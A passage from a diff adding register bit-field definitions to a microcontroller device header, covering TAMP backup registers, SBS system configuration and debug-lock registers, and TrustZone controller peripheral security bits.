(0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0U) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0U) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* SBS */ +/* */ +/******************************************************************************/ +/******************** Bit definition for SBS_HDPLCR register *****************/ +#define SBS_HDPLCR_INCR_HDPL_Pos (0U) +#define SBS_HDPLCR_INCR_HDPL_Msk (0xFFUL << SBS_HDPLCR_INCR_HDPL_Pos) /*!< 0x000000FF */ +#define SBS_HDPLCR_INCR_HDPL SBS_HDPLCR_INCR_HDPL_Msk /*!< Increment HDPL value. */ + +/******************** Bit definition for SBS_HDPLSR register *****************/ +#define SBS_HDPLSR_HDPL_Pos (0U) +#define SBS_HDPLSR_HDPL_Msk (0xFFUL << SBS_HDPLSR_HDPL_Pos) /*!< 0x000000FF */ +#define SBS_HDPLSR_HDPL SBS_HDPLSR_HDPL_Msk /*!< HDPL value. */ + +/******************** Bit definition for SBS_NEXTHDPLCR register *****************/ +#define SBS_NEXTHDPLCR_NEXTHDPL_Pos (0U) +#define SBS_NEXTHDPLCR_NEXTHDPL_Msk (0x3UL << SBS_NEXTHDPLCR_NEXTHDPL_Pos) /*!< 0x00000003 */ +#define SBS_NEXTHDPLCR_NEXTHDPL SBS_NEXTHDPLCR_NEXTHDPL_Msk /*!< NEXTHDPL value. */ +#define SBS_NEXTHDPLCR_NEXTHDPL_0 (0x1UL << SBS_NEXTHDPLCR_NEXTHDPL_Pos) /*!< 0x00000001 */ +#define SBS_NEXTHDPLCR_NEXTHDPL_1 (0x2UL << SBS_NEXTHDPLCR_NEXTHDPL_Pos) /*!< 0x00000002 */ + +/******************** Bit definition for SBS_DBGCR register *****************/ +#define SBS_DBGCR_AP_UNLOCK_Pos (0U) +#define SBS_DBGCR_AP_UNLOCK_Msk (0xFFUL << SBS_DBGCR_AP_UNLOCK_Pos) /*!< 0x000000FF */ +#define SBS_DBGCR_AP_UNLOCK SBS_DBGCR_AP_UNLOCK_Msk /*!< Open the Access Port. */ + +#define SBS_DBGCR_DBG_UNLOCK_Pos (8U) +#define SBS_DBGCR_DBG_UNLOCK_Msk (0xFFUL << SBS_DBGCR_DBG_UNLOCK_Pos) /*!< 0x0000FF00 */ +#define SBS_DBGCR_DBG_UNLOCK SBS_DBGCR_DBG_UNLOCK_Msk /*!< Open the debug when DBG_AUTH_HDPL is reached. */ + +#define SBS_DBGCR_DBG_AUTH_HDPL_Pos (16U) +#define SBS_DBGCR_DBG_AUTH_HDPL_Msk (0xFFUL << SBS_DBGCR_DBG_AUTH_HDPL_Pos) /*!< 0x00FF0000 */ +#define SBS_DBGCR_DBG_AUTH_HDPL SBS_DBGCR_DBG_AUTH_HDPL_Msk /*!< HDPL value when the debug should be effectively opened. */ + +#define SBS_DBGCR_DBG_AUTH_SEC_Pos (24U) +#define SBS_DBGCR_DBG_AUTH_SEC_Msk (0xFFUL << SBS_DBGCR_DBG_AUTH_SEC_Pos) /*!< 0xFF000000 */ +#define SBS_DBGCR_DBG_AUTH_SEC SBS_DBGCR_DBG_AUTH_SEC_Msk /*!< Open the non-secured and secured debugs. */ + +/******************** Bit definition for SBS_DBGLCKR register *****************/ +#define SBS_DBGLOCKR_DBGCFG_LOCK_Pos (0U) +#define SBS_DBGLOCKR_DBGCFG_LOCK_Msk (0xFFUL << SBS_DBGLOCKR_DBGCFG_LOCK_Pos) /*!< 0x000000FF */ +#define SBS_DBGLOCKR_DBGCFG_LOCK SBS_DBGLOCKR_DBGCFG_LOCK_Msk /*!< SBS_DBGLOCKR_DBGCFG_LOCK value. */ + +/******************** Bit definition for SBS_RSSCMDR register ***************/ +#define SBS_RSSCMDR_RSSCMD_Pos (0U) +#define SBS_RSSCMDR_RSSCMD_Msk (0xFFFFUL << SBS_RSSCMDR_RSSCMD_Pos) /*!< 0x0000FFFF */ +#define SBS_RSSCMDR_RSSCMD SBS_RSSCMDR_RSSCMD_Msk /*!< command to be executed by the RSS. */ + +/******************** Bit definition for SBS_EPOCHSELCR register ************/ +#define SBS_EPOCHSELCR_EPOCH_SEL_Pos (0U) +#define SBS_EPOCHSELCR_EPOCH_SEL_Msk (0x3UL << SBS_EPOCHSELCR_EPOCH_SEL_Pos) /*!< 0x00000003 */ +#define SBS_EPOCHSELCR_EPOCH_SEL SBS_EPOCHSELCR_EPOCH_SEL_Msk /*!< Select EPOCH sent to SAES IP to encrypt/decrypt keys */ +#define SBS_EPOCHSELCR_EPOCH_SEL_0 (0x1UL << SBS_EPOCHSELCR_EPOCH_SEL_Pos) /*!< 0x00000001 */ +#define SBS_EPOCHSELCR_EPOCH_SEL_1 (0x2UL << SBS_EPOCHSELCR_EPOCH_SEL_Pos) /*!< 0x00000002 */ + +/****************** Bit definition for SBS_PMCR register ****************/ +#define SBS_PMCR_PB6_FMP_Pos (16U) +#define SBS_PMCR_PB6_FMP_Msk (0x1UL << SBS_PMCR_PB6_FMP_Pos) /*!< 0x00010000 */ +#define SBS_PMCR_PB6_FMP SBS_PMCR_PB6_FMP_Msk /*!< Fast-mode Plus command on PB(6) */ +#define SBS_PMCR_PB7_FMP_Pos (17U) +#define SBS_PMCR_PB7_FMP_Msk (0x1UL << SBS_PMCR_PB7_FMP_Pos) /*!< 0x00020000 */ +#define SBS_PMCR_PB7_FMP SBS_PMCR_PB7_FMP_Msk /*!< Fast-mode Plus command on PB(7) */ +#define SBS_PMCR_PB8_FMP_Pos (18U) +#define SBS_PMCR_PB8_FMP_Msk (0x1UL << SBS_PMCR_PB8_FMP_Pos) /*!< 0x00040000 */ +#define SBS_PMCR_PB8_FMP SBS_PMCR_PB8_FMP_Msk /*!< Fast-mode Plus command on PB(8) */ +#define SBS_PMCR_PB9_FMP_Pos (19U) +#define SBS_PMCR_PB9_FMP_Msk (0x1UL << SBS_PMCR_PB9_FMP_Pos) /*!< 0x00080000 */ +#define SBS_PMCR_PB9_FMP SBS_PMCR_PB9_FMP_Msk /*!< Fast-mode Plus command on PB(9) */ + +/****************** Bit definition for SBS_FPUIMR register ***************/ +#define SBS_FPUIMR_FPU_IE_Pos (0U) +#define SBS_FPUIMR_FPU_IE_Msk (0x3FUL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x0000003F - */ +#define SBS_FPUIMR_FPU_IE SBS_FPUIMR_FPU_IE_Msk /*!< All FPU interrupts enable */ +#define SBS_FPUIMR_FPU_IE_0 (0x1UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000001 - Invalid operation Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_1 (0x2UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000002 - Divide-by-zero Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_2 (0x4UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000004 - Underflow Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_3 (0x8UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000008 - Overflow Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_4 (0x10UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000010 - Input denormal Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_5 (0x20UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000020 - Inexact Interrupt enable (interrupt disabled at reset) */ + +/****************** Bit definition for SBS_MESR register ****************/ +#define SBS_MESR_MCLR_Pos (0U) +#define SBS_MESR_MCLR_Msk (0x1UL << SBS_MESR_MCLR_Pos) /*!< 0x00000001 */ +#define SBS_MESR_MCLR SBS_MESR_MCLR_Msk /*!< Status of Erase after Reset */ +#define SBS_MESR_IPMEE_Pos (16U) +#define SBS_MESR_IPMEE_Msk (0x1UL << SBS_MESR_IPMEE_Pos) /*!< 0x00010000 */ +#define SBS_MESR_IPMEE SBS_MESR_IPMEE_Msk /*!< Status of End of Erase for ICache and PKA RAMs */ + +/****************** Bit definition for SBS_CCCSR register ****************/ +#define SBS_CCCSR_EN1_Pos (0U) +#define SBS_CCCSR_EN1_Msk (0x1UL << SBS_CCCSR_EN1_Pos) /*!< 0x00000001 */ +#define SBS_CCCSR_EN1 SBS_CCCSR_EN1_Msk /*!< Enable compensation cell for VDD power rail */ +#define SBS_CCCSR_CS1_Pos (1U) +#define SBS_CCCSR_CS1_Msk (0x1UL << SBS_CCCSR_CS1_Pos) /*!< 0x00000002 */ +#define SBS_CCCSR_CS1 SBS_CCCSR_CS1_Msk /*!< Code selection for VDD power rail */ +#define SBS_CCCSR_EN2_Pos (2U) +#define SBS_CCCSR_EN2_Msk (0x1UL << SBS_CCCSR_EN2_Pos) /*!< 0x00000004 */ +#define SBS_CCCSR_EN2 SBS_CCCSR_EN2_Msk /*!< Enable compensation cell for VDDIO power rail */ +#define SBS_CCCSR_CS2_Pos (3U) +#define SBS_CCCSR_CS2_Msk (0x1UL << SBS_CCCSR_CS2_Pos) /*!< 0x00000008 */ +#define SBS_CCCSR_CS2 SBS_CCCSR_CS2_Msk /*!< Code selection for VDDIO power rail */ +#define SBS_CCCSR_RDY1_Pos (8U) +#define SBS_CCCSR_RDY1_Msk (0x1UL << SBS_CCCSR_RDY1_Pos) /*!< 0x00000100 */ +#define SBS_CCCSR_RDY1 SBS_CCCSR_RDY1_Msk /*!< VDD compensation cell ready flag */ +#define SBS_CCCSR_RDY2_Pos (9U) +#define SBS_CCCSR_RDY2_Msk (0x1UL << SBS_CCCSR_RDY2_Pos) /*!< 0x00000200 */ +#define SBS_CCCSR_RDY2 SBS_CCCSR_RDY2_Msk /*!< VDDIO compensation cell ready flag */ + +/****************** Bit definition for SBS_CCVALR register ****************/ +#define SBS_CCVALR_ANSRC1_Pos (0U) +#define SBS_CCVALR_ANSRC1_Msk (0xFUL << SBS_CCVALR_ANSRC1_Pos) /*!< 0x0000000F */ +#define SBS_CCVALR_ANSRC1 SBS_CCVALR_ANSRC1_Msk /*!< NMOS compensation value */ +#define SBS_CCVALR_APSRC1_Pos (4U) +#define SBS_CCVALR_APSRC1_Msk (0xFUL << SBS_CCVALR_APSRC1_Pos) /*!< 0x000000F0 */ +#define SBS_CCVALR_APSRC1 SBS_CCVALR_APSRC1_Msk /*!< PMOS compensation value */ +#define SBS_CCVALR_ANSRC2_Pos (8U) +#define SBS_CCVALR_ANSRC2_Msk (0xFUL << SBS_CCVALR_ANSRC2_Pos) /*!< 0x00000F00 */ +#define SBS_CCVALR_ANSRC2 SBS_CCVALR_ANSRC2_Msk /*!< NMOS compensation value */ +#define SBS_CCVALR_APSRC2_Pos (12U) +#define SBS_CCVALR_APSRC2_Msk (0xFUL << SBS_CCVALR_APSRC2_Pos) /*!< 0x0000F000 */ +#define SBS_CCVALR_APSRC2 SBS_CCVALR_APSRC2_Msk /*!< PMOS compensation value */ + +/****************** Bit definition for SBS_CCSWCR register ****************/ +#define SBS_CCSWCR_SW_ANSRC1_Pos (0U) +#define SBS_CCSWCR_SW_ANSRC1_Msk (0xFUL << SBS_CCSWCR_SW_ANSRC1_Pos) /*!< 0x0000000F */ +#define SBS_CCSWCR_SW_ANSRC1 SBS_CCSWCR_SW_ANSRC1_Msk /*!< NMOS compensation code for VDD Power Rail */ +#define SBS_CCSWCR_SW_APSRC1_Pos (4U) +#define SBS_CCSWCR_SW_APSRC1_Msk (0xFUL << SBS_CCSWCR_SW_APSRC1_Pos) /*!< 0x000000F0 */ +#define SBS_CCSWCR_SW_APSRC1 SBS_CCSWCR_SW_APSRC1_Msk /*!< PMOS compensation code for VDD Power Rail */ +#define SBS_CCSWCR_SW_ANSRC2_Pos (8U) +#define SBS_CCSWCR_SW_ANSRC2_Msk (0xFUL << SBS_CCSWCR_SW_ANSRC2_Pos) /*!< 0x00000F00 */ +#define SBS_CCSWCR_SW_ANSRC2 SBS_CCSWCR_SW_ANSRC2_Msk /*!< NMOS compensation code for VDDIO Power Rail */ +#define SBS_CCSWCR_SW_APSRC2_Pos (12U) +#define SBS_CCSWCR_SW_APSRC2_Msk (0xFUL << SBS_CCSWCR_SW_APSRC2_Pos) /*!< 0x0000F000 */ +#define SBS_CCSWCR_SW_APSRC2 SBS_CCSWCR_SW_APSRC2_Msk /*!< PMOS compensation code for VDDIO Power Rail */ + +/****************** Bit definition for SBS_CFGR2 register ****************/ +#define SBS_CFGR2_CLL_Pos (0U) +#define SBS_CFGR2_CLL_Msk (0x1UL << SBS_CFGR2_CLL_Pos) /*!< 0x00000001 */ +#define SBS_CFGR2_CLL SBS_CFGR2_CLL_Msk /*!< Core Lockup Lock */ +#define SBS_CFGR2_SEL_Pos (1U) +#define SBS_CFGR2_SEL_Msk (0x1UL << SBS_CFGR2_SEL_Pos) /*!< 0x00000002 */ +#define SBS_CFGR2_SEL SBS_CFGR2_SEL_Msk /*!< SRAM ECC Lock */ +#define SBS_CFGR2_PVDL_Pos (2U) +#define SBS_CFGR2_PVDL_Msk (0x1UL << SBS_CFGR2_PVDL_Pos) /*!< 0x00000004 */ +#define SBS_CFGR2_PVDL SBS_CFGR2_PVDL_Msk /*!< PVD Lock */ +#define SBS_CFGR2_ECCL_Pos (3U) +#define SBS_CFGR2_ECCL_Msk (0x1UL << SBS_CFGR2_ECCL_Pos) /*!< 0x00000008 */ +#define SBS_CFGR2_ECCL SBS_CFGR2_ECCL_Msk /*!< Flash ECC Lock*/ + +/******************** Bit definition for SBS_SECCFGR register ***************/ +#define SBS_SECCFGR_SBSSEC_Pos (0U) +#define SBS_SECCFGR_SBSSEC_Msk (0x1UL << SBS_SECCFGR_SBSSEC_Pos) /*!< 0x00000001 */ +#define SBS_SECCFGR_SBSSEC SBS_SECCFGR_SBSSEC_Msk /*!< SBS clock control security enable */ +#define SBS_SECCFGR_CLASSBSEC_Pos (1U) +#define SBS_SECCFGR_CLASSBSEC_Msk (0x1UL << SBS_SECCFGR_CLASSBSEC_Pos) /*!< 0x00000002 */ +#define SBS_SECCFGR_CLASSBSEC SBS_SECCFGR_CLASSBSEC_Msk /*!< ClassB SBS security enable */ +#define SBS_SECCFGR_FPUSEC_Pos (3U) +#define SBS_SECCFGR_FPUSEC_Msk (0x1UL << SBS_SECCFGR_FPUSEC_Pos) /*!< 0x00000008 */ +#define SBS_SECCFGR_FPUSEC SBS_SECCFGR_FPUSEC_Msk /*!< FPU SBS security enable */ + +/****************** Bit definition for SBS_CNSLCKR register **************/ +#define SBS_CNSLCKR_LOCKNSVTOR_Pos (0U) +#define SBS_CNSLCKR_LOCKNSVTOR_Msk (0x1UL << SBS_CNSLCKR_LOCKNSVTOR_Pos) /*!< 0x00000001 */ +#define SBS_CNSLCKR_LOCKNSVTOR SBS_CNSLCKR_LOCKNSVTOR_Msk /*!< Disable VTOR_NS register writes by SW or debug agent */ +#define SBS_CNSLCKR_LOCKNSMPU_Pos (1U) +#define SBS_CNSLCKR_LOCKNSMPU_Msk (0x1UL << SBS_CNSLCKR_LOCKNSMPU_Pos) /*!< 0x00000002 */ +#define SBS_CNSLCKR_LOCKNSMPU SBS_CNSLCKR_LOCKNSMPU_Msk /*!< Disable Non-Secure MPU registers writes by SW or debug agent */ + +/****************** Bit definition for SBS_CSLCKR register ***************/ +#define SBS_CSLCKR_LOCKSVTAIRCR_Pos (0U) +#define SBS_CSLCKR_LOCKSVTAIRCR_Msk (0x1UL << SBS_CSLCKR_LOCKSVTAIRCR_Pos) /*!< 0x00000001 */ +#define SBS_CSLCKR_LOCKSVTAIRCR SBS_CSLCKR_LOCKSVTAIRCR_Msk /*!< Disable changes to the secure vector table address, handling of system faults */ +#define SBS_CSLCKR_LOCKSMPU_Pos (1U) +#define SBS_CSLCKR_LOCKSMPU_Msk (0x1UL << SBS_CSLCKR_LOCKSMPU_Pos) /*!< 0x00000002 */ +#define SBS_CSLCKR_LOCKSMPU SBS_CSLCKR_LOCKSMPU_Msk /*!< Disable changes to the secure MPU registers writes by SW or debug agent */ +#define SBS_CSLCKR_LOCKSAU_Pos (2U) +#define SBS_CSLCKR_LOCKSAU_Msk (0x1UL << SBS_CSLCKR_LOCKSAU_Pos) /*!< 0x00000004 */ +#define SBS_CSLCKR_LOCKSAU SBS_CSLCKR_LOCKSAU_Msk /*!< Disable changes to SAU registers */ + +/****************** Bit definition for SBS_ECCNMIR register ***************/ +#define SBS_ECCNMIR_ECCNMI_MASK_EN_Pos (0U) +#define SBS_ECCNMIR_ECCNMI_MASK_EN_Msk (0x1UL << SBS_ECCNMIR_ECCNMI_MASK_EN_Pos) /*!< 0x00000001 */ +#define SBS_ECCNMIR_ECCNMI_MASK_EN SBS_ECCNMIR_ECCNMI_MASK_EN_Msk /*!< Disable NMI in case of double ECC error in flash interface */ + +/*****************************************************************************/ +/* */ +/* Global TrustZone Control */ +/* */ +/*****************************************************************************/ +/******************* Bits definition for GTZC_TZSC_CR register ******************/ +#define GTZC_TZSC_CR_LCK_Pos (0U) +#define GTZC_TZSC_CR_LCK_Msk (0x01UL << GTZC_TZSC_CR_LCK_Pos) /*!< 0x00000001 */ + +/******************* Bits definition for GTZC_TZSC_MPCWM_CFGR register **********/ +#define GTZC_TZSC_MPCWM_CFGR_SREN_Pos (0U) +#define GTZC_TZSC_MPCWM_CFGR_SREN_Msk (0x1UL << GTZC_TZSC_MPCWM_CFGR_SREN_Pos) +#define GTZC_TZSC_MPCWM_CFGR_SREN GTZC_TZSC_MPCWM_CFGR_SREN_Msk +#define GTZC_TZSC_MPCWM_CFGR_SRLOCK_Pos (1U) +#define GTZC_TZSC_MPCWM_CFGR_SRLOCK_Msk (0x1UL << GTZC_TZSC_MPCWM_CFGR_SRLOCK_Pos) +#define GTZC_TZSC_MPCWM_CFGR_SRLOCK GTZC_TZSC_MPCWM_CFGR_SRLOCK_Msk +#define GTZC_TZSC_MPCWM_CFGR_SEC_Pos (8U) +#define GTZC_TZSC_MPCWM_CFGR_SEC_Msk (0x1UL << GTZC_TZSC_MPCWM_CFGR_SEC_Pos) +#define GTZC_TZSC_MPCWM_CFGR_SEC GTZC_TZSC_MPCWM_CFGR_SEC_Msk +#define GTZC_TZSC_MPCWM_CFGR_PRIV_Pos (9U) +#define GTZC_TZSC_MPCWM_CFGR_PRIV_Msk (0x1UL << GTZC_TZSC_MPCWM_CFGR_PRIV_Pos) +#define GTZC_TZSC_MPCWM_CFGR_PRIV GTZC_TZSC_MPCWM_CFGR_PRIV_Msk + +/******************* Bits definition for GTZC_TZSC_MPCWMR register **************/ +#define GTZC_TZSC_MPCWMR_SUBZ_START_Pos (0U) +#define GTZC_TZSC_MPCWMR_SUBZ_START_Msk (0x7FFUL << GTZC_TZSC_MPCWMR_SUBZ_START_Pos) +#define GTZC_TZSC_MPCWMR_SUBZ_START GTZC_TZSC_MPCWMR_SUBZ_START_Msk +#define GTZC_TZSC_MPCWMR_SUBZ_LENGTH_Pos (16U) +#define GTZC_TZSC_MPCWMR_SUBZ_LENGTH_Msk (0xFFFUL << GTZC_TZSC_MPCWMR_SUBZ_LENGTH_Pos) +#define GTZC_TZSC_MPCWMR_SUBZ_LENGTH GTZC_TZSC_MPCWMR_SUBZ_LENGTH_Msk + +/******* Bits definition for TZSC _SECCFGRx/_PRIVCFGRx registers *****/ +/******* Bits definition for TZIC _IERx/_SRx/_IFCRx registers *****/ + +/*************** Bits definition for register x=1 (TZSC1) *************/ +#define GTZC_CFGR1_TIM2_Pos (0U) +#define GTZC_CFGR1_TIM2_Msk (0x01UL << GTZC_CFGR1_TIM2_Pos) +#define GTZC_CFGR1_TIM3_Pos (1U) +#define GTZC_CFGR1_TIM3_Msk (0x01UL << GTZC_CFGR1_TIM3_Pos) +#define GTZC_CFGR1_TIM4_Pos (2U) +#define GTZC_CFGR1_TIM4_Msk (0x01UL << GTZC_CFGR1_TIM4_Pos) +#define GTZC_CFGR1_TIM5_Pos (3U) +#define GTZC_CFGR1_TIM5_Msk (0x01UL << GTZC_CFGR1_TIM5_Pos) +#define GTZC_CFGR1_TIM6_Pos (4U) +#define GTZC_CFGR1_TIM6_Msk (0x01UL << GTZC_CFGR1_TIM6_Pos) +#define GTZC_CFGR1_TIM7_Pos (5U) +#define GTZC_CFGR1_TIM7_Msk (0x01UL << GTZC_CFGR1_TIM7_Pos) +#define GTZC_CFGR1_TIM12_Pos (6U) +#define GTZC_CFGR1_TIM12_Msk (0x01UL << GTZC_CFGR1_TIM12_Pos) +#define GTZC_CFGR1_WWDG_Pos (9U) +#define GTZC_CFGR1_WWDG_Msk (0x01UL << GTZC_CFGR1_WWDG_Pos) +#define GTZC_CFGR1_IWDG_Pos (10U) +#define GTZC_CFGR1_IWDG_Msk (0x01UL << GTZC_CFGR1_IWDG_Pos) +#define GTZC_CFGR1_SPI2_Pos (11U) +#define GTZC_CFGR1_SPI2_Msk (0x01UL << GTZC_CFGR1_SPI2_Pos) +#define GTZC_CFGR1_SPI3_Pos (12U) +#define GTZC_CFGR1_SPI3_Msk (0x01UL << GTZC_CFGR1_SPI3_Pos) +#define GTZC_CFGR1_USART2_Pos (13U) +#define GTZC_CFGR1_USART2_Msk (0x01UL << GTZC_CFGR1_USART2_Pos) +#define GTZC_CFGR1_USART3_Pos (14U) +#define GTZC_CFGR1_USART3_Msk (0x01UL << GTZC_CFGR1_USART3_Pos) +#define GTZC_CFGR1_UART4_Pos (15U) +#define GTZC_CFGR1_UART4_Msk (0x01UL << GTZC_CFGR1_UART4_Pos) +#define GTZC_CFGR1_UART5_Pos (16U) +#define GTZC_CFGR1_UART5_Msk (0x01UL << GTZC_CFGR1_UART5_Pos) +#define GTZC_CFGR1_I2C1_Pos (17U) +#define GTZC_CFGR1_I2C1_Msk (0x01UL << GTZC_CFGR1_I2C1_Pos) +#define GTZC_CFGR1_I2C2_Pos (18U) +#define GTZC_CFGR1_I2C2_Msk (0x01UL << GTZC_CFGR1_I2C2_Pos) +#define GTZC_CFGR1_I3C1_Pos (19U) +#define GTZC_CFGR1_I3C1_Msk (0x01UL << GTZC_CFGR1_I3C1_Pos) +#define GTZC_CFGR1_CRS_Pos (20U) +#define GTZC_CFGR1_CRS_Msk (0x01UL << GTZC_CFGR1_CRS_Pos) +#define GTZC_CFGR1_USART6_Pos (21U) +#define GTZC_CFGR1_USART6_Msk (0x01UL << GTZC_CFGR1_USART6_Pos) +#define GTZC_CFGR1_HDMICEC_Pos (24U) +#define GTZC_CFGR1_HDMICEC_Msk (0x01UL << GTZC_CFGR1_HDMICEC_Pos) +#define GTZC_CFGR1_DAC1_Pos (25U) +#define GTZC_CFGR1_DAC1_Msk (0x01UL << GTZC_CFGR1_DAC1_Pos) +#define GTZC_CFGR1_DTS_Pos (30U) +#define GTZC_CFGR1_DTS_Msk (0x01UL << GTZC_CFGR1_DTS_Pos) +#define GTZC_CFGR1_LPTIM2_Pos (31U) +#define GTZC_CFGR1_LPTIM2_Msk (0x01UL << GTZC_CFGR1_LPTIM2_Pos) + +/*************** Bits definition for register x=2 (TZSC1) *************/ +#define GTZC_CFGR2_FDCAN1_Pos (0U) +#define GTZC_CFGR2_FDCAN1_Msk (0x01UL << GTZC_CFGR2_FDCAN1_Pos) +#define GTZC_CFGR2_FDCAN2_Pos (1U) +#define GTZC_CFGR2_FDCAN2_Msk (0x01UL << GTZC_CFGR2_FDCAN2_Pos) +#define GTZC_CFGR2_UCPD1_Pos (2U) +#define GTZC_CFGR2_UCPD1_Msk (0x01UL << GTZC_CFGR2_UCPD1_Pos) +#define GTZC_CFGR2_TIM1_Pos (8U) +#define GTZC_CFGR2_TIM1_Msk (0x01UL << GTZC_CFGR2_TIM1_Pos) +#define GTZC_CFGR2_SPI1_Pos (9U) +#define GTZC_CFGR2_SPI1_Msk (0x01UL << GTZC_CFGR2_SPI1_Pos) +#define GTZC_CFGR2_TIM8_Pos (10U) +#define GTZC_CFGR2_TIM8_Msk (0x01UL << GTZC_CFGR2_TIM8_Pos) +#define GTZC_CFGR2_USART1_Pos (11U) +#define GTZC_CFGR2_USART1_Msk (0x01UL << GTZC_CFGR2_USART1_Pos) +#define GTZC_CFGR2_TIM15_Pos (12U) +#define GTZC_CFGR2_TIM15_Msk (0x01UL << GTZC_CFGR2_TIM15_Pos) +#define GTZC_CFGR2_SPI4_Pos (15U) +#define GTZC_CFGR2_SPI4_Msk (0x01UL << GTZC_CFGR2_SPI4_Pos) +#define GTZC_CFGR2_USB_Pos (19U) +#define GTZC_CFGR2_USB_Msk (0x01UL << GTZC_CFGR2_USB_Pos) +#define GTZC_CFGR2_LPUART1_Pos (25U) +#define GTZC_CFGR2_LPUART1_Msk (0x01UL << GTZC_CFGR2_LPUART1_Pos) +#define GTZC_CFGR2_I2C3_Pos (26U) +#define GTZC_CFGR2_I2C3_Msk (0x01UL << GTZC_CFGR2_I2C3_Pos) +#define GTZC_CFGR2_LPTIM1_Pos (28U) +#define GTZC_CFGR2_LPTIM1_Msk (0x01UL << GTZC_CFGR2_LPTIM1_Pos) + +/*************** Bits definition for register x=3 (TZSC1) *************/ +#define GTZC_CFGR3_VREFBUF_Pos (1U) +#define GTZC_CFGR3_VREFBUF_Msk (0x01UL << GTZC_CFGR3_VREFBUF_Pos) +#define GTZC_CFGR3_I3C2_Pos (2U) +#define GTZC_CFGR3_I3C2_Msk (0x01UL << GTZC_CFGR3_I3C2_Pos) +#define GTZC_CFGR3_CRC_Pos (8U) +#define GTZC_CFGR3_CRC_Msk (0x01UL << GTZC_CFGR3_CRC_Pos) +#define GTZC_CFGR3_ICACHE_REG_Pos (12U) +#define GTZC_CFGR3_ICACHE_REG_Msk (0x01UL << GTZC_CFGR3_ICACHE_REG_Pos) +#define GTZC_CFGR3_DCACHE1_REG_Pos (13U) +#define GTZC_CFGR3_DCACHE1_REG_Msk (0x01UL << GTZC_CFGR3_DCACHE1_REG_Pos) +#define GTZC_CFGR3_ADC_Pos (14U) +#define GTZC_CFGR3_ADC_Msk (0x01UL << GTZC_CFGR3_ADC_Pos) +#define GTZC_CFGR3_DCMI_PSSI_Pos (15U) +#define GTZC_CFGR3_DCMI_PSSI_Msk (0x01UL << GTZC_CFGR3_DCMI_PSSI_Pos) +#define GTZC_CFGR3_HASH_Pos (17U) +#define GTZC_CFGR3_HASH_Msk (0x01UL << GTZC_CFGR3_HASH_Pos) +#define GTZC_CFGR3_RNG_Pos (18U) +#define GTZC_CFGR3_RNG_Msk (0x01UL << GTZC_CFGR3_RNG_Pos) +#define GTZC_CFGR3_SDMMC1_Pos (21U) +#define GTZC_CFGR3_SDMMC1_Msk (0x01UL << GTZC_CFGR3_SDMMC1_Pos) +#define GTZC_CFGR3_FMC_REG_Pos (23U) +#define GTZC_CFGR3_FMC_REG_Msk (0x01UL << GTZC_CFGR3_FMC_REG_Pos) +#define GTZC_CFGR3_OCTOSPI1_Pos (24U) +#define GTZC_CFGR3_OCTOSPI1_Msk (0x01UL << GTZC_CFGR3_OCTOSPI1_Pos) +#define GTZC_CFGR3_RAMCFG_Pos (26U) +#define GTZC_CFGR3_RAMCFG_Msk (0x01UL << GTZC_CFGR3_RAMCFG_Pos) + +/*************** Bits definition for register x=4 (TZSC1) *************/ +#define GTZC_CFGR4_GPDMA1_Pos (0U) +#define GTZC_CFGR4_GPDMA1_Msk (0x01UL << GTZC_CFGR4_GPDMA1_Pos) +#define GTZC_CFGR4_GPDMA2_Pos (1U) +#define GTZC_CFGR4_GPDMA2_Msk (0x01UL << GTZC_CFGR4_GPDMA2_Pos) +#define GTZC_CFGR4_FLASH_Pos (2U) +#define GTZC_CFGR4_FLASH_Msk (0x01UL << GTZC_CFGR4_FLASH_Pos) +#define GTZC_CFGR4_FLASH_REG_Pos (3U) +#define GTZC_CFGR4_FLASH_REG_Msk (0x01UL << GTZC_CFGR4_FLASH_REG_Pos) + +#define GTZC_CFGR4_SBS_Pos (6U) +#define GTZC_CFGR4_SBS_Msk (0x01UL << GTZC_CFGR4_SBS_Pos) +#define GTZC_CFGR4_RTC_Pos (7U) +#define GTZC_CFGR4_RTC_Msk (0x01UL << GTZC_CFGR4_RTC_Pos) +#define GTZC_CFGR4_TAMP_Pos (8U) +#define GTZC_CFGR4_TAMP_Msk (0x01UL << GTZC_CFGR4_TAMP_Pos) +#define GTZC_CFGR4_PWR_Pos (9U) +#define GTZC_CFGR4_PWR_Msk (0x01UL << GTZC_CFGR4_PWR_Pos) +#define GTZC_CFGR4_RCC_Pos (10U) +#define GTZC_CFGR4_RCC_Msk (0x01UL << GTZC_CFGR4_RCC_Pos) +#define GTZC_CFGR4_EXTI_Pos (11U) +#define GTZC_CFGR4_EXTI_Msk (0x01UL << GTZC_CFGR4_EXTI_Pos) +#define GTZC_CFGR4_TZSC_Pos (16U) +#define GTZC_CFGR4_TZSC_Msk (0x01UL << GTZC_CFGR4_TZSC_Pos) +#define GTZC_CFGR4_TZIC_Pos (17U) +#define GTZC_CFGR4_TZIC_Msk (0x01UL << GTZC_CFGR4_TZIC_Pos) +#define GTZC_CFGR4_OCTOSPI1_MEM_Pos (18U) +#define GTZC_CFGR4_OCTOSPI1_MEM_Msk (0x01UL << GTZC_CFGR4_OCTOSPI1_MEM_Pos) +#define GTZC_CFGR4_FMC_MEM_Pos (19U) +#define GTZC_CFGR4_FMC_MEM_Msk (0x01UL << GTZC_CFGR4_FMC_MEM_Pos) +#define 